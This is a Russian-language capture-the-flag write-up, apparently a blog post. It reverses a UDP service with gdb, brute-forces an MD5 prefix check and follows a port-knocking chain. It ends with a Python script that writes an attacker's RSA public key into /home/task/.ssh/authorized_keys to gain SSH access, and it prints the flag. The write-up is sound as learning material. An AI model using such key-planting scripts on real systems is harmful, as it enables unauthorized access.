Вот оно нулевое значение. Дальше просто шаги назад до какого-либо ветвления (файл «flow.log»):

95b6ad: jmp    73d0d1 <MD5_Final@@Base+0xb9e1d>
95b6b2: cmp    DWORD PTR [rbp-0x2d4],0x133337
95b6bc: jne    67c270 <MD5_Update@@Base+0x1b79f3>

Адрес 0x95b6b2 – сравнение некоего значения с 0x133337. Точка останова, смотрим, что в [rbp-0x2d4]. Для этого отправляем пакет с данными «testtest»:

# echo -n "testtest" > md5.bin
# truncate -s 512 md5.bin 
# md5sum md5.bin 
e9b9de230bdc85f3e929b0d2495d0323  md5.bin
# echo -n "testtest" > /dev/udp/

(gdb) b *0x95b6b2
Breakpoint 6 at 0x95b6b2
(gdb) c
Verifying 74657374

Breakpoint 6, 0x000000000095b6b2 in MD5_Final ()
(gdb) x/20bx $rbp-0x2d4
0x7fffffffdd7c:	0xe9	0xb9	0xde	0x00	0xe9	0xb9	0xde	0x23
0x7fffffffdd84:	0x0b	0xdc	0x85	0xf3	0xe9	0x29	0xb0	0xd2
0x7fffffffdd8c:	0x49	0x5d	0x03	0x23 

Совпадение по 3 первым байтам MD5-суммы. Решение сводится к получению MD5-суммы с первыми 3 байтами «\x37\x33\x13».

Простой скрипт для перебора чисел от нуля с расчетом в бинарном виде MD5 до нужного совпадения. Необходимые данные для отправки получены. Отправляем данные и получаем сообщение от сервиса о назначении нового порта для приема данных:

New salt 508bd11b
Next port 14235
Binding 14235
Waiting for data...3 14235 0

Netstat не показал данного порта, да и вообще новых портов. Но ps показала наличие завершившегося дочернего процесса (зомби). Пришла идея, что порт открывается на некоторое время в дочернем процессе.

Отправил нужный пакет на порт 5432, а за ним на порт 14235. И ничего. Порт перестал открываться. В итоге сгенерировал другие данные и, соответственно, MD5 с нужным началом. Снова сообщение, но на этот раз с другим портом. После перезапуска сервиса сработала первая MD5, снова с портом 14235. Появилась мысль, что сервис запоминает отработанные MD5. Поэтому тестировал, каждый раз перезапуская сервис.

Binding 22
Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50
New salt 508bd11b
Next port 14235
Binding 14235
Waiting for data...Received packet from
3 14235 27
Next port 23038
Binding 23038
Waiting for data...4

Опять новый порт. Здесь я начал думать, что цепочка портов может оказаться длинной…
На самом деле, следующий за этим порт (31841) оказался последним. Спустя некоторое время работы с gdb и дизассемблированным кодом и различных тестов обнаружил, что появился файл «/home/task/.ssh/authorized_keys».

Далее обнаружить причину появления файла стало вопросом времени, что записывается в этот файл тоже. В файл в итоге записываются данные пакета, отправленного в след за первым на последний открывшийся порт (если непонятно, в скрипте ниже будет видно).

Дальше генерация RSA ключей и отправка публичного.

Затем авторизация на сервере по SSH, поиск и получение флага.

В процессе применения у меня сработала только третья сгенерированная MD5-сумма. Уже после сдачи задания по результатам реверса выяснил, что на самом деле третья сумма будет срабатывать всегда (точнее до истечения некоего счетчика). Для постоянного срабатывания суммы необходимо, чтобы передаваемое в первых 4 байтах данных пакета (от которого считается MD5) целое число типа int было отрицательным, то есть первый бит четвертого байта был установлен (обратный порядок байт).

Ниже скрипт, использовавшийся для передачи ключа RSA, при решении задачи.
import socket
import time
import SocketServer
import select

d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00', '"\xa5I\x90\x00\x00\x00\x00\x00\x00']
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
print "Send 1"
s.sendto(d[0], ("", 5432))
print "Send 2"
s.sendto(d[1], ("", 5432))
print "Send 3"
s.sendto(d[2], ("", 5432))
print "Send 4"
s.sendto("\x00", ("", 41357))
print "Send 5"
s.sendto("\x04", ("", 42381))
# for i in range(256):
print "Send 6"
s.sendto("\x02", ("", 28709))
# Read key
with open("ssh_key.txt", "rb") as fr:
    data =

print len(data)
print "Send 7"
s.sendto(data, ("", 28709))
print s.recvfrom(1500)

Искомая строка: flag{a1ec3c43cae4250faa302c412c7cc524}

При успешном выполнении получаем «OK» в ответ.

На деле, как я написал, лишним оказалось отправлять первую и вторую MD5-сумму. Также думаю, что не все решил из требуемого, просто подобралось.

Не думал, что получу инвайт, почти 40 часов прошло со старта задания до момента, когда я отправил флаг. Спасибо.
1.5k 15
Leave a comment
Top of the day